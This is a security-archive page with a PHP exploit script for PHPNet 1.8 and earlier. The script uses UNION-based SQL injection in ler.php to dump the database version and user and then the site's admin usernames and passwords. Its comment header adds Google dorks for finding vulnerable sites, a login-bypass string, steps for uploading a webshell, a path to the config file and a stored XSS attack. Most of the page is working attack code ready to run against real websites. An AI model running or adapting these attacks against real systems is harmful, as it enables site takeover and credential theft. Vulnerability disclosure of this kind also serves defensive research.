what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

PHPNet 1.8 SQL Injection

PHPNet 1.8 SQL Injection
Posted Jun 8, 2012
Authored by WhiteCollarGroup

PHPNet versions 1.8 and below suffer from a remote SQL injection vulnerability in ler.php.

tags | exploit, remote, php, sql injection
SHA-256 | 3b8d289681cbe40445b5a1f14631ea0e13b6be7bcf6259ab5074c75b58a6d152

PHPNet 1.8 SQL Injection

Change Mirror Download
<?php
# Exploit Title: PHPNet <= 1.8 (ler.php) SQL Injection
# Exploit Author: WhiteCollarGroup
# Date: 06th 06 2012
# Vendor homepage: http://www.phpnet.com.br/
# Software Link: http://phpbrasil.com/script/Wb03ErMczAho/phpnetartigos
# Google Dork: intext:"Powerd by Nielson Rocha"
# Google Dork: inurl:"ler.php?id=" intext:"Voltar - Imprimir"
# Version: 1.8
# Tested on: Debian GNU/Linux,Windows 7 Ultimate

/*
We discovered multiple vulnerabilities on the system.

~> SQL Injection
This exploit is for a vulnerability in ler.php, but are the same vulnerability on imprimir.php and imagem.php.
ler.php?id=[SQLi]
imprimir.php?id=[SQLi]
imagem.php?id=[SQLi]

Usage:
php file.php http://server/path/

~> Login bypass
In login page, you can bypass the login using "SQLi strings".
Go to http://server/path/admin/login.php

Login: ' or 1=1-- wc
Pass: wcgroup

~> Arbitraty File Upload
After open administration panel, try to add a new article.
Use the upload form to upload your webshell.
After posting, access:
http://server/path/tmp/your_shell_filename.php

~> Information disclosure
Access:
http://server/path/conf/config.ini

~> XSS Stored (persistent)
When posting a new article, you can post (D)HTML/Javascript codes on the page.

*/

function _printf($str) {
echo $str."\n";
}

function hex($string){
$hex=''; // PHP 'Dim' =]
for ($i=0; $i < strlen($string); $i++){
$hex .= dechex(ord($string[$i]));
}
return '0x'.$hex;
}

set_time_limit(0);
error_reporting(E_ERROR & E_USER_WARNING);
@ini_set('default_socket_timeout', 30);
echo "\n";

echo "PHPNet <= 1.8 SQLi Exploit\n";
echo "Discovered by WhiteCollarGroup\n";
echo "www.wcgroup.host56.com - whitecollar_group@hotmail.com";
if($argc!=2) {
_printf("Usage:");
_printf("php $argv[0] <target>");
_printf("Example:");
_printf("php $argv[0] http://site.com/path/");
exit;
}

$target = $argv[1];
if(substr($target, (strlen($target)-1))!="/") { // se o ultimo caractere nao for uma barra
$target .= "/";
}

$inject = $target . "ler.php?id=-0'%20";

$token = uniqid();
$token_hex = hex($token);

// vamos agora obter os seguintes dados: user() version()
echo "\n\n[*] Trying to get informations...\n";

$infos = file_get_contents($inject.urlencode("union all select 1,2,3,4,concat(".$token_hex.",version(),".$token_hex.",user(),".$token_hex."),6,7,8-- "));
$infos_r = array();
preg_match_all("/$token(.*)$token(.*)$token/", $infos, $infos_r);
$user = $infos_r[1][0];
$version = $infos_r[2][0];
if(($user) AND ($version))
{
echo "[!] MySQL user: $user\n";
echo "[!] MySQL version: $version\n";
}
else
{
echo "[-] Error while getting informations...\n";
}

$i = 0;
while(1==1) {
$dados_r = array();
$dados = file_get_contents($inject.urlencode("union all select 1,2,3,4,concat(".$token_hex.",admin_user,".$token_hex.",admin_pass,".$token_hex."),6,7,8 from pna_admin limit $i,1-- "));
preg_match_all("/$token(.*)$token(.*)$token/", $dados, $dados_r);
$login = $dados_r[1][0];
$senha = $dados_r[2][0];
if(($login) AND ($senha)) {
echo " -+-\n";
echo "[!] User: $login\n";
echo "[!] Pass: $senha\n";
$i++;
} else {
break; // exitloop
}

if($i==0) {
echo "[-] Exploit failed. Make sure that's server is using a valid version of PHPNet without mod_security. We're sorry.";
} else {
echo " -+-\n[!] :D";
}
echo "\n";
}

?>

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    0 Files
  • 18
    Apr 18th
    0 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close